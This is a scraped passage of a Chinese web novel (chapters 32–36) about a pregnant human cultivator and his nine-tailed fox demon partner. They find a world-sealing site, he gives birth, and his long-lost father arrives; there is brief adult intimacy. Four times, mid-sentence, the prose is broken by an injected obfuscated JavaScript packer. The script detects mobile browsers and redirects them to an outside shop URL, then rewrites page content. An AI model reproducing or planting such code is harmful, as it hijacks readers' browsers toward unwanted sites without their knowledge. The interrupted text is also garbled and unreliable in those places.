才进屋，似是刚办完事的大狐狸便脚步匆忙地赶了过来。 银青眯起眼睛看着面露无辜之色的青年，慢慢走近，身后的狐尾娴熟地卷曲缠绕上青年的腰身。 “其他狐狸？”苏言辰回想着自己今日抱过撸过的小狐狸。“那可就太多了。” 谁能拒绝在冬日里撸遍满屋子毛茸茸的小动物呢。 银青哼笑一声，看着怀中人明亮的眼睛，终究是忍不住轻轻吻上去，惩罚性地咬了咬青年的嘴角。 “不是我们狐狸洞里的狐狸。你今天遇到了什么人？” 感受着腰部的酸痛感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281252|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在银青轻柔的按摩下逐渐得到舒缓，苏言辰放松地靠在对方的怀里，将今天的遭遇细细道出。 “对了，那小孩到咱们的狐狸洞后突然就晕倒了，听银雪说，这个小家伙是中了毒。” 提到这个，苏言辰脸上露出庆幸的神色。若是自己未曾将这小孩带到狐狸洞，这完全不知道自己中毒的小家伙的下场可以预料。 收拾出来给小孩充当住所的房间不算大，但给这还没长开的人族小孩居住刚刚好。 过去看望这中毒的小孩之时，正巧碰上银雪去给他换药。 洗干净后显得尤为白嫩的皮肤之上那两个红肿发黑的孔洞尤为清晰狰狞，看这模样就像是被什么毒蛇咬了一样，所幸渗出的血液已经是鲜红的色泽。 照银雪的说法，后面只需喝上一阵解毒药剂，等待伤疤愈合便算痊愈。 床上正疼的龇牙咧嘴的小衍见到结伴而来的苏言辰等人，哇的一声哭了出来。 “哇——姐姐，我差点就要死了。”他拖着伤腿，扑到床边沿，眼泪汪汪。 “？”苏言辰脚步一顿，不由摸了摸脸。 这声姐姐莫不是在喊自己？ “小子，你应该喊我叫哥哥，叔叔也行。”苏言辰瞧着小衍小胳膊小腿的模样，摇了摇头，给他将被子盖好。 “可……”小衍瞪大眼睛瞅了眼身前之人的肚子，眉头一皱，或许这是属于大人的奇怪想法，他如此想着，虽然面前的人长相是英气了些，但他又不是傻子，只有姑娘才能怀宝宝。 “好吧，哥哥……”被这插曲打断，小衍心中的惧怕消去不少，他转而看向苏言辰身边一直安静不说话的九尾狐妖，目光中不曾像普通的幼儿一样在看到大妖时露出惊慌之色，只好奇地观察着。 “这位哥哥的大尾巴好多呀。一二三……有九条！”小衍说：“我最厉害的叔叔也就只有三条。” “哦？”银青将视线从那被药物覆盖包扎好的伤口处收回，挑眉看向这个胆大的人族幼崽。 “你的叔叔们也是像我这样的狐妖？” “不全是……” 就在这一问一答间，苏言辰也终于知晓了这个赖上自己的小孩的身份——阙云宗宗主的幼子，或许也是阙云宗为数不多的幸存者，至于那只赤狐妖幼崽，是这小孩从小到大的玩伴。 也就是说，这阙云宗一直以来与赤狐妖的关系就很亲密。所以自己听闻到的那阙云宗被狐妖侵入的消息就有待考究了。 说到小赤狐，苏言辰便感觉腿上出现了熟悉的小动物攀爬的触感。 很快一只瘦小的赤狐妖幼崽便牢牢抓住肩头的布料，那毛绒的小狐脸还未蹭到青年的脸颊，便被一只大手抓住了后颈皮。 “抓到了。”银青面露了然，将小赤狐丢给床上面露期待的小孩，等小孩将其紧紧抱住，他这才扭头朝苏言辰展颜一笑。 “原来你身上是这只小狐狸的味道。” 说话间，属于银青的九条狐尾将呆愣住的青年团团包裹住，狐尾轻柔缓慢地摆动着，像是要将对方身上属于他人的气息抹除覆盖。 33. 第 33 章 今夜屋内似乎格外安静。 刚进屋，在转身关上房门时，苏言辰心中冒出这样的想法。自打上次从外面回来将误会解开后，他便同银青开启了同居生活，按银青的话讲便是为了方便照顾自己。 至于更方便的是哪方面的照顾…… 呵。 他迈着不急不缓的步子朝床榻走去。 往常若是听到自己的动静，无论这只大狐狸在做什么，总会伸出一条狐狸尾巴卷着自己拉到对方身边，可今日，这家伙怎么这么安静？ 拨开垂下的帷帐，苏言辰正欲探究这闷不吭声的大狐狸到底在做什么，看清床榻上景色的一瞬，他呼吸一滞，眼睛不由睁大几分。 “你……今日怎么这副打扮？” 大红的绸带绑缚住银发大妖仅着一件薄衫的身躯，赤色与玉白的强烈视觉冲击下，那红绸愈是鲜艳，被它紧紧系住的躯体就愈是白的晃眼。 听到问话，半阖着眼睛似是在小憩的狐妖倏地睁开眼睛，待瞧见床前的青年，他金色的眼眸里迅速晕开笑意，未被束缚住的狐尾缓缓缠绕住青年的小腿，若有若无地摩挲着。 “怎么，你不喜欢吗？”银青开口道，被缚住身体轻轻挣扎了几下，仿佛只是不经意间动作，那原本还能勉强遮住上身的薄衫顺着力道滑落，露出大片白色的肌肤。 “今天看你那么喜欢那只红毛的小狐狸，我还以为你更喜红色，现在看似乎又不是那么回事？” 苏言辰将视线从那敞开的衣衫上收回，意味不明地瞥了眼缓缓摇晃着狐尾的大狐狸。 喜欢红色？这种红色和那皮毛的红色是一回事嘛，他感受着小腹突兀燃起的热意，翻身上床，缓缓靠近那双倒映着自己身影的金色瞳孔。 “连小孩子的醋都吃，你怕不是狐狸成精而是醋坛子转世吧。” “那……你难不成嫌弃我这个醋坛子了？” 赤色的绸带被大妖轻易撕开，霎时间攻守变换。银发与情丝纠缠在一起，苏言辰小心护住肚子，回答着方才的问话。 “哈——怎么会呢，爱你还来不及呢。” 恍惚间，苏言辰似乎听到有东西猛烈拍打地面的声音，再想细听时，周围又好像只有两人的呼吸声，他微微眯起眼睛，耳边传来大妖暗哑的呼唤他名字的声音。 “阿辰……我的阿辰，我的……挚爱……” …… ………… “白天时看你一直望着那小孩的伤口，是有什么不对吗？” 感受着腰间轻柔按摩的力道，苏言辰闭着眼睛靠在银青怀里，有一搭没一搭闲聊着。 自进入孕中期，他与银青之间的房事频率相较于初期自然多了些许，但前些时日，因为小狐崽们突然加大的灵力妖力的需求，他虽延长了修炼的时间但难免身体疲惫，这也导致银青被他冷落了些时日。好在随着修为的提升，一切又恢复如初。 听到苏言辰的询问，银青似是在回忆什么，安静了片刻，他缓慢开口。 “那个小孩腿上的伤口，是北蝰蛇一族的手笔。就在多年之前，我曾在一个人身上见到过类似的伤口。” “只可惜，那个人没有这个小家伙这么好的运气，及时得到救治。在睡梦中便没了气息，离开了他的妻儿。” 银青闭了闭眼，心中泛起涩意。 北蝰蛇一族善用毒，其本身也带有毒性。虽其自身携带的蛇毒并不难解，但其阴险之处在于常人很难察觉到自己被北蝰蛇咬伤。而身体素质越好的人，那毒性发作表露出来的症状就越小，等到真正察觉到中毒，蛇毒早已深至肺腑，回天乏术。 “他……是你的什么人？”苏言辰睁开眼睛，支起手臂望向银青。 “他啊。”银青回想着那个脾气火爆的老头子，一时间忽然发现那人存在记忆中的样貌竟然模糊不清了。 “叫燕长庚，是我的师父，我的亲人。曾经与你一样，是玄天宗的除妖师。” “……后来他离开了玄天宗，还收养了我。” 银青微微收紧环抱着青年的手臂，将脑袋埋进对方那温热的颈弯，深深吸了口气。 “原本我只以为他是因为意外中了蛇毒逝世的，可如今看，事实却并非如此……” 当初在燕长庚出事时，他心中便总觉蹊跷，虽有怀疑对象，却无多少证据佐证自己的猜想。如今确切的证据上门，结合这些年他收集到的线索，他终于能够确认当年杀害自己师父的人的身份——北蝰蛇妖族与人族的混血、玄天宗宗主申常德。 轻缓的呼吸声传入银青的耳边，他止住了话语，垂眸看见怀中的青年已经阖上眼睛，烛光穿过浓密的睫毛在脸上投下阴影，那安静的睡颜不禁叫银青心生爱怜。 “我会保护好你的……我的阿辰。”他又轻又缓地说着，伸手轻轻抚过怀中之人那圆润的腹部，“保护好你我的孩子。” 如今自己已经不再像小时候那样无能为力，他会保护好他所爱之人，不会再让当初的悲剧再次发生。 …… 难得的大晴天，风也不大。 苏言辰靠在躺椅上晒着太阳打着瞌睡，脚边窝着几只同样昏昏欲睡的小狐狸。 一切都显得格外祥和。 隐约间，苏言辰似乎听到了小孩子呼喊的声音。 “小红——小红——” “小红你跑慢点，等等我呀——” 捕捉到关键词，苏言辰唰的一下睁开眼睛，很快一只倒腾着小短腿的小赤狐飞快扑到他的脚边，作势要爬上躺椅。 苏言辰一把薅住小赤狐的后颈皮，与那双圆溜溜的大眼睛对视了几秒，最终只能擦擦小狐狸沾了尘土的毛爪子，任其窝到自己的身边。 “你这小家伙怎么这么黏着我呢？”他伸出手指，戳戳小赤狐的脑袋瓜，却被其像狗狗一样热情地蹭了蹭，身后的小狐尾甩得飞快。 和小狗似的，苏言辰心中暗想，不过，狐狸似乎就属于犬科，说是小狗也似乎……没什么毛病？ 追着小赤狐跑的小孩终于追了上来，啪叽一下坐到地上，喘着气。 来望月山已经一段时间，这个叫小衍的小孩已经不像刚来时那般放不开的样子，反而和一众小狐妖相处极为融洽。每天除了吃饭睡觉玩耍外总有一项固定活动，追同他一起来到望月山的小赤狐。 按道理讲，这小赤狐与小衍的年龄差不多大，也该化人形说人话才对，可至今苏言辰却未曾瞧见这个小家伙的人形模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14281253|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，反而始终都是一只只会唧唧叫的热情小狐狸。 伸手摸了摸小赤狐身上的毛，苏言辰重新躺下，侧着身子继续晒着太阳。手下的小动物却不安分地开始慢慢往上挪动。 安静片刻后，苏言辰忽然感觉胸口一沉，一湿，他蓦地睁开眼睛，耳边突然传来一声属于小孩子的呼唤。 “娘亲~” “……”他幻听了？ “娘亲娘亲~” “？” 苏言辰睁大眼睛扭头望向胸前乖巧注视着自己的小赤狐，大脑短暂停止了思考。 这小赤狐刚刚在喊自己什么？娘亲？！ 他哪儿来这么大个狐崽？！ 苏言辰伸手摸向自己圆隆的小腹，两个未出世的小家伙还安稳地待在他的肚子里，时不时活跃一下。 “嘶！”揉了揉被小家伙们踢得鼓起小包的肚皮，苏言辰回过神，看向已经蹲到他肩头的小赤狐，内心不禁扶额。 “我不是你的娘亲，小家伙。” 等等，这小家伙是不是说话了？ 未等苏言辰再度开口，这小赤狐晃着脑袋蹭了蹭青年的脸颊，“娘亲，你身上的味道好像我娘亲，都香香的暖暖的，你做我娘亲吧——” “不行！这是我们的姐，哥哥！”旁边围观的小衍跳出来，满脸恨铁不成钢的表情，“小红，你怎么能乱认亲呢，要认就……认个干亲吧。” 小赤狐扭头看了眼身后的小伙伴，若有所思点点头，转而看向苏言辰。 “……” 苏言辰有些无言，这认亲的事情在这两个小家伙口中仿佛是什么小事一般，认得如此草率，果然是牙都没长齐的小家伙。 他舒缓了眉眼，起身揉了揉两个小家伙的脑袋。 “认亲可是大事，不可草率决定。况且，无论认不认亲认干亲，我们都会抚养你们长大成人。” “小孩子不要想太多，好好吃饭，好好睡觉就好了。” 周围陷入一阵沉默。 半晌，呆愣住的小赤狐喃喃冒出一句话。 “果然是娘亲啊……”这么温柔，呜，她想娘亲了。 小赤狐蹲坐在青年的身侧，按了按毛茸茸的小胸脯，上下捣鼓了几分钟，随后哇啦一下，吐出沾满不明液体的手串一样的圆形晶体。她伸出毛爪子将手串在狐狸尾巴上擦了擦，抬头正欲将其递给看着她的苏言辰，不料连接着晶体的绳子中途断开，散落到地上，发出清脆的碰撞声。 好不容易捡回小圆晶，小赤狐盯着沾满灰尘已然断开的手串，圆溜溜的眼睛里顿时盈满泪水。 “你是想把它们给我的吗？” “嗯，给你的。”小赤狐泪眼汪汪爬到身旁小伙伴的肩头，抬头望向身前的青年，“这个手串洗干净很好看的，就像你戴的项链一样，亮晶晶的会发光。可是……断掉了。” 苏言辰垂眸看向胸前挂着的狐火结晶吊坠，微微一笑。 “好，别哭啦，待会儿我将这小圆珠串在这吊坠上，就不算断啦。” “谢谢你的礼物，小家伙。那么，你有什么想要的呢？” “我要你当我干娘，当我和小衍的干娘！”小赤狐兴奋开口。 “？” 34. 第 34 章 日子一天比一天冷，窝在狐狸洞中的狐妖们也越发不喜出门。 山头的树木的叶子一天天落下，很快在地面累积厚厚一层，枝丫上还余几片在寒风中打着哆嗦。不知不觉，半空中忽然飘起了白色的柳絮般的东西，开始只是零星几点，后来越飘越多…… ……下雪了。 簌簌—— 白色的狐尾忽然冒出将枝头落下的积雪接住掷向一旁，等确保青年身上未曾出现冰凉的雪花后，这才又缓缓回到狐妖身后。 看着跑在前面手拉着手兴高采烈的小狐妖们，苏言辰不由转头看向身侧的银青。 近些时日由于晏盟的权力交替，这各大城镇附近似乎都不太平。也因此事银青似乎在筹谋着什么，与那群新来的妖族交往渐密，待在狐狸洞的时间是越来越短。虽表面瞧不出多大异常，但与自己相处时偶尔流露出的疲惫感却根本遮掩不住。 恰巧那两个喜欢到处乱窜的阙云宗的小家伙在无名山的某处发现了隐藏着的温泉，他便想着带这只大狐狸过来放松放松。 苏言辰悄悄握紧银青的手，心中暗叹，若不是他精力不济，他其实更想要的是帮上银青的忙而并非现在这般。 温泉所在之处是一处宽敞的山洞，里面自然形成大大小小的隔间，带着热意的水雾从山洞口往外弥散开，扑了人满头满脸。 或许是由于银青日渐深重的威压，即使心中还怀有对兄长的喜爱，这群小狐狸们依旧不愿与银青待在一处隔间泡温泉，而是三三两两结伴去了别处。 随着小家伙们的离开，周围一下子就安静下来。 “这些日子，你瘦了好多。” 修长的手指划过大妖裸露在外的脊背，苏言辰看着闭上眼睛的银青，低声开口。 银青睁开眼，金色的瞳仁里映出青年担忧的脸庞。 哗啦—— 他张开手臂，小心环住坐在温泉边青年的腰身，将人带进水中。 “你在担心我吗？我的好阿辰。”银青缓缓勾起一丝微笑，倾身上前，“那不如，阿辰就好好安慰安慰我吧。” 细密的亲吻落在青年的额头、眉心乃至那红润的嘴唇，一路不停还在一直往下蔓延。那淡淡的若即若离的触感在孕期更加敏感的躯体上四处点火，很快苏言辰便禁不住发出压抑的闷哼。 “你……”苏言辰羞恼地瞪了眼银青，自己分明是心疼这只大狐狸近日的疲惫，怎么这走向忽然就变了个调调。他一面又深感自己身体的不争气，一面又在银青那熟练挑逗的手法下丢盔弃甲，软了手脚。 …… ………… 身上滴落下的泉水在至阳至烈的灵力运转之时悄然化作水汽散在空气中，苏言辰瞥了眼撑着头注视着自己的狐妖，转身捡起地上散落的衣衫。 一时不注意，那平日里戴在项间的狐火结晶吊坠滚落下来，沿着温泉边缘的石壁坠进水里。 “阿青，快帮我捞上来。”苏言辰连忙开口。 银青应声潜入水中，片刻后将散发着金色光芒的狐火结晶捞起，苏言辰接过吊坠，却惊讶地发现那被自己新串上去的来自小赤狐的礼物却消失不见了。 “奇怪……”他微微蹙起眉头，视线落在完好的绳身上，心中一阵困惑。 这小圆珠落进这水里就没了踪影，绳子又没断开，莫不是融化了？若说溶于水，先前在狐狸洞时也未曾出现这幅光景，实在怪异得很。 这般想着，苏言辰忽然感觉地面似乎发生了轻微的震动，随即一只白色狐尾快速卷起他的腰身，金色的狐火飘在半空呈护卫状围绕在他身边。 还未来得及瞧清楚眼前发生的场景，苏言辰便感觉自己落入了一个温暖熟悉的怀抱。 “这泉水怎么在发光？” 原本散发着热气的温泉水忽然冒出柔白的光芒，随后以肉眼可见的速度飞快消失，就在泉水消失的一瞬间，泉水底部的暗色岩石再次轻微震动了一下，一个冒着白光的诡异洞穴出现在了泉底岩石的中间。 “……这是什么？”苏言辰感觉到抱着自己的狐妖在见到这个洞穴的时那骤然急促起来的呼吸，看着眼前这怪异的场景，他不由开口问道。 “还不能确定。”银青松开环抱着青年的手臂，将他护在身后，“但这很可能就是师父所说的……此世的封印之地。” 当初师父燕长庚告诉他的解开世界封印的办法与流传甚广的封印传闻有少许不同。 找到封印钥匙自然顶顶重要，但在找到钥匙的同时想要解开世界封印还需要找到那传说中连接大小世界的关键场所，也就是所谓的封印之地。在这个封印之地使用封印钥匙，才能联通大小世界，让两界汇合，灵气相通。 “不若我先进去看看。”看看这个洞穴到底是不是真的封印之地。银青望着依旧还在散发柔白光芒的底部洞穴，转头朝苏言辰说道。 “不行，我不放心你。”苏言辰拉住银青的衣袖，“若是两个人去，还能有个照应。” “……”银青抬眼看向面前青年满含担忧的双眸，最终重新将苏言辰拉进怀里，狐尾轻微晃动了几下，随后跳进发光的洞穴。 也罢，与其让阿辰在上面担忧不如两人一同进去，总归有自己护着。 金色的狐火燃烧不息，围绕在两人周身，既像是在护卫又像是在给它的主人开路。 与想象中不同的是，原本看上去稍显狭窄的洞穴，在进入之后反而像是进入了另一个宽敞的异度空间。在进入的一瞬间，苏言辰忽然感觉身体中灵力的运转似乎变快不少，就连因为孕育子嗣而显得疲惫的身体都变得舒适。 这里的灵气好像比外面浓郁得多……苏言辰心中暗想。 两人很快在狐火的托举下缓慢落到洞穴的实地上。 洞穴深处并非全然都是柔白的光芒，在未被光芒笼罩的地方依旧还是暗淡的深色石壁，而就在他们落在地面的时候，脚底踩着的地面骤然亮起光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286613|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒，像是在指引他们前往远处那散发白光的地点。 “封印之地，有神光指引……没错，就是这里，这里就是师父所说的地方。”注视着脚底宛若游鱼般灵活飘动的光点，银青微微睁大双眼。 靠在银青怀里，苏言辰能清晰感受到他急促跳动的心脏，若是凝神甚至可以听到那怦怦的心跳声。 封印之地吗……慢慢靠近那散发白色幽光的洞穴最深处，也就是他们此行的目的地，苏言辰想到最初从墨翎口中得知自己所处世界真相时曾经冒出的想法。 当时自己曾有想过自己若是能前往大世界又该是怎样的光景，毕竟在墨翎口中他记忆里对修仙有关的所有想象似乎都可以在大世界中找到，包括御剑飞行，更包括长生…… 在这个小世界中，人族的寿命似乎受到一定程度的限制，或许也是因为灵气的不足，踏入修行的人族并不能在这修炼之途上走得更远，所以自身的寿元也就不能因为修为的增长而延长多少。 所以……若是自己一辈子都生活在这小世界，那么自己根本无法和银青这个天生就拥有漫长寿命的狐妖白头偕老。 但因为对打破封印之事毫无头绪，想要进入大世界的想法也逐渐深藏进心底。如今看，打破小世界封印的想法并非他一人独有，身旁的这只大狐狸似乎早就开始筹谋打破封印的事情了。 洞穴的尽头是一面石壁，一面同样散发白芒的石壁，看上去平平无奇，但在石壁的侧边，苏言辰忽然瞧见了熟悉的散发着莹白光泽的小圆珠。 “这不是，我串在吊坠上的小圆珠吗？它们怎么会出现在这里？”苏言辰喃喃说道。 “小圆珠？” “对，就在方才你给我的这个狐火吊坠落入温泉后，我串在上面的小圆珠忽然就不见了踪影。”苏言辰拿起胸前的金色吊坠朝银青示意。 “这个小圆珠还是那只小赤狐送给我的。现下看，这似乎不是一般的东西。” 银青抬眸看向石壁上冒着白光的小珠子，原先盘踞在脑中的困惑终于得到了解答。 “若是那只小狐狸给你的，那倒不难解释，为何这申常德要针对阙云宗了。”银青向苏言辰解释着，“这小赤狐是阙云宗的狐狸，那么她身上的珠子很可能就是阙云宗保管之物。” 虽然传闻中，阙云宗与玄天宗的关系一向就不佳，但这并不能完全成为申常德针对阙云宗的原因。 这世上所有的除妖师宗门中，阙云宗与玄天宗是唯二的大型宗门。 而阙云宗的前身是属于小世界原本就存在的宗门，在建立之初，它的宗门宗旨便是惩恶扬善、替天行道。后来等玄天宗建立后，世上的除妖风气逐渐变得极端，这与阙云宗最初的宗旨稍有不符。这也是为何阙云宗和玄天宗关系不和的缘由。 能叫一个大宗门一夕之间消失，很有可能的原因便是这个宗门中有叫人暗中觊觎的宝物。 就比如……这能叫人发现封印之地的小圆珠。 35. 第 35 章 所以阙云宗惨遭狐妖侵入的真相实际上是遭到以玄天宗为首的势力围攻，随后嫁祸给赤狐妖族？ “如此恶行，那晏盟是做摆设的吗？”苏言辰愤愤出声，最初晏盟成立，既为除妖也为约束各大宗门，如今阙云宗遭此恶事，却晏盟却未曾有什么动静，就好像默认了一般。 他这般想着，忽然感觉腹部一阵发紧。 “呼……”他暗暗吐了口气，由于类似的情况在最近时常出现，他也只慢慢揉了揉肚子，并未当回事。 “说不定这围攻阙云宗的就是晏盟。”轻轻抚着青年的后背，银青出声推测道。 倒也不无可能…… 苏言辰抬头看向一直在散发洁白光芒的石壁，恍惚间似乎透过这面墙壁看到了他曾经在梦中看见过的属于他父亲的身影。再一眨眼，眼前的石壁又似乎又恢复了原样，淡淡的白光还在幽幽亮着。 “嘶…”腹部的紧绷感似乎更加强烈了，腰部隐隐发酸并且似乎越来越叫人无法忍受。苏言辰皱起眉吸了口气，握紧身旁银青的手。 “怎么了阿辰，肚子不舒服吗？”察觉到身边人的不适，银青迅速将目光从石壁上收回，担忧地看向对方。 “腰……腰酸。”苏言辰咬牙靠在大狐狸的胸膛上，勉力揉了揉开始发痛的腹底，心中产生了一点模糊的想法。 他难道是要生了吗？可是传言不是说十月怀胎，如今他腹中的胎儿连九个月都未到……应该是搞错了吧？还是因为方才和银青乱来导致动了胎气？ 忍着心中的慌乱，他收束起自己的思绪，想要开启内视查看胎儿情况，然而还未凝神便被腰部骤然加剧的酸痛打断。 “呃啊…”握在银青手臂上的手指蓦然收紧，随即苏言辰忽然感觉腹部再次发紧发硬，就在银青想要抱起他出去之时，他感觉到一股温热的液体从下面流了出来。 “阿青！我，我好像羊水破了？”初次生产的青年慌张地看向自己的伴侣，被这突如其来的意外扰乱了心神，再也不复平时的镇静。 银青迅速脱下身上的衣衫连同自己的毛绒长尾一并垫在青年身下，试图让生产中的伴侣能够舒适一些，他面上保持冷静，语气温柔舒缓地安抚着自己的伴侣，胸膛中的心脏却好像要跳出来一般，急促地跳个不停。 之前在书上学习的生产知识是如何说的呢？先，先保持冷静…… 不要慌……冷静…… “啊——”难以想象的痛楚从腹中爆发出来，那是种同躯体外部的伤痛不同的感觉，苏言辰紧紧抓住身下的衣衫，忍不住发出痛呼。 不……根本冷静不了……他的阿辰…… 银青颤抖着手轻轻擦去苏言辰额头冒出的汗水，与对方交握的另一只手感受着那股几欲握碎自己手骨的力度，他不由放松手部好让青年握的更顺手些，同时心中泛起阵阵心疼。 而就在两人专注于生产之事的时候，在他们身后镶嵌着几枚圆珠晶体的石壁像是感应到什么似的，缓慢闪动着，那波动的幅度就好像有什么要从石壁后面挣脱出来一般，但因为明暗变化太小而难以被人察觉。 苏言辰紧蹙起眉，牙齿紧紧咬住没有血色的下唇急促地喘息着，冷汗顺着苍白的脸颊滴落。他感觉到体内那两个小家伙正在迫不及待想要出来，顺着那股本能用力，已经痛麻木了的下面突然一阵轻松。 “哇——哇——”婴儿响亮的啼哭声传来。 而与此同时，他们也发现了闪动幅度变得明显的石壁异样。 在第一个头顶狐耳的婴儿被银青用里衣包好后，另外一个相对小一些的小婴儿也跟着离开母体发出第一声啼哭。 此起彼伏的婴孩声似乎刺激到不停闪动的石壁，那白光波动的间隔愈发短暂，这般奇怪的现象不禁叫人莫名心慌。 在察觉到这一变化的时候，银青快速卷起苏言辰将他连同怀中的两个婴儿牢牢护住，神色警惕地看着诡异的石壁。 如今阿辰身体虚弱，当务之急还是先将阿辰带回去照顾。这封印之地又不会移动，要想探究往后再探也不迟。 这般想着银青一边放出狐火护体一边慢慢后退向出口处。蓦然间，他感觉到一道冰冷锐利的目光，手随心动，一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295728|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金色的狐火顺势投向石壁，没入其中。 咔嚓——安静的洞穴中似乎出现了某种微小的像什么东西碎裂的声音。 …… 无名山的上方。 原本因为下雪而灰白的天空陡然暗了下来，云层中隐约传来轰隆的雷声。 轰——咔—— 银中带紫的闪电劈向大地，借着闪电短暂的光，地面上的人们似乎看见了笼罩在天幕之上的某种像裂开的冰面般的纹路。 “这是什么？！” “天，天好像要裂开了……” 听令聚集到望月山山脚下的晏盟除妖师们看着天空中怪异的景象，纷纷发出惊呼。 “都瞎嚷嚷着什么，不过是打雷，瞧瞧你们哪还有半点除妖师的样子。”领队的申元瑞朝着手下的除妖师厉声呵斥。 在他身后，负手站立的玄天宗宗主申常德抬头看着这天色，心中莫名生出不详的预感。百般追寻搜查，他终于知道了当年进入无根之境后失踪的妖王之子的下落，根据晏盟探到的消息，那个逃脱自己掌控的苏言辰似乎也在此地。 原先让这二人敌对挑起大世界两族纷争的计划已经无法实施，既然如此，那便由他亲手将他们彻底除去。 咔嚓—— 循声望向发出清晰声响的地方，申常德低垂的眼睛猛地瞪大，来自灵魂深处面对上位者的战栗感骤然袭上心头。 透过即将裂开的屏障缝隙，他看到了……小山般庞大的九尾天狐的身影，那周身围绕的冲天狐火燃烧着，即使相隔甚远似乎也能感受到那股炙热的温度。 “这……这……”申常德深色的瞳孔在见到天狐的瞬间忽然化作黄绿的蛇瞳，在轰鸣的巨大雷声中，他撇下一众弟子，快速离开望月山。 咔嚓——咔嚓—— 天幕上的碎片终于被打破，化作灵光消散在空中。无声的静寂中突兀传来一声满含怒火的大喝。 “杂种，哪里走——” 一只巨型九尾天狐携着漫天狐火撞破碎裂开的世界封印，以迅雷不及掩耳之势飞快冲向逃走的申常德。 36. 第 36 章 洞穴中，发光的石壁旁。 那团金色的狐火没入消失的瞬间，那原本就频频波动的石壁骤然爆发出强烈的光芒，伴随着某种物体碎裂的声音，石壁开始变得透明随后消失在半空中，一股浓郁的灵气流水般充满整个空间。 “无根之境的封印破开了……” 苏言辰听到了身后的大狐狸这句仿佛自言自语的话，身体的疲惫在灵气的激荡中稍稍褪去些许，体内的纯阳功法开始缓慢运转，修复着损伤的身体。 “封印破了？” 难不成找到封印之地便能破开小世界的封印不成？可在传闻中分明还有所谓的封印钥匙的说法，只是这封印钥匙到底有形无形，是何形状，似乎都没有具体的说法……莫不是放出来的假消息？ 就在苏言辰胡思乱想之时，原本石壁消失后依旧存在的白色光芒也慢慢暗淡下来，一个高大的身影出现在原先石壁之处。 苏言辰靠在银青的肩头，抬眸看向脚步声传来的方向，待看清那人的面容，他不由一愣。 眼前的这个人怎么长得和他梦境中见到的那位人王父亲苏凌风那么像？ 若真是他那素未谋面的老父亲，那他现在…… 苏言辰沉默着匆匆扫视着自己全身上下，刚经历生产虚软无力的身体、被汗水打湿的发丝贴在脸颊带来的凉意让他清晰意识到自己此刻的狼狈。 这根本不是他想象中父子相见的场景。 这一瞬间苏言辰根本不敢与来人对视，他迅速扭过头，将脸埋进银青毛绒的狐尾之中。 “……” 踏过碎裂的封印屏障，顺着血脉法术的指引，苏凌风很快瞧见那张与自己相像的脸，他知道那是自己苦寻十九年的幼子。然而这相逢的巨大喜悦很快便被幼子躲避的动作给扑灭。 他转而瞧向将幼子抱在怀中的那只狐妖。 独属于九尾天狐的至阳至烈的气息使他很快明晰了这个小家伙的身份，是银焱那家伙的独子，那个同辰儿一样被申常德偷走的小狐崽。 “咿~呀~” 循着稚嫩的嗓音，苏凌风的目光落到被幼子抱在怀中的两个小婴儿身上。 那发出声音被衣衫包裹着的小家伙头上似乎立着一对狐耳，冥冥之中苏凌风感应到这两个小家伙同自己有着较为紧密的血缘上的联系。也就是说，这两个小家伙就是他家幼子的孩子。 等等，狐耳？！ 苏凌风的目光在银青与婴儿身上来回扫视，眉头微挑，心中蓦然冒出一个诡异的念头。这两个小崽子不会是他的辰儿和这小狐妖的孩子……吧？！ 他转而仔细观察着幼子，方才未曾注意，如今他鼻间似乎嗅到一股复杂的血腥气，这股腥气似乎就是从幼子的身上散发出来的，再看幼子那苍白的脸色以及……那两个皱巴巴的显然是刚出生模样的小崽子。 “……” 嚓—— 苏凌风猛地握紧腰间佩剑，心中劝着自己冷静，如今还未和幼子相认，冒然与他相熟的狐妖发生冲突实属不智。话虽如此，他还是忍不住冷冷看向那只傻傻愣愣的小狐妖。 感受着来人那刀子般冰冷的视线，银青不禁心生警惕，抱紧怀中之人，孰料那人的目光似乎更加冰冷锐利。 无边的冷寂在整个空间蔓延，对峙的双方都未曾开口说一句话。 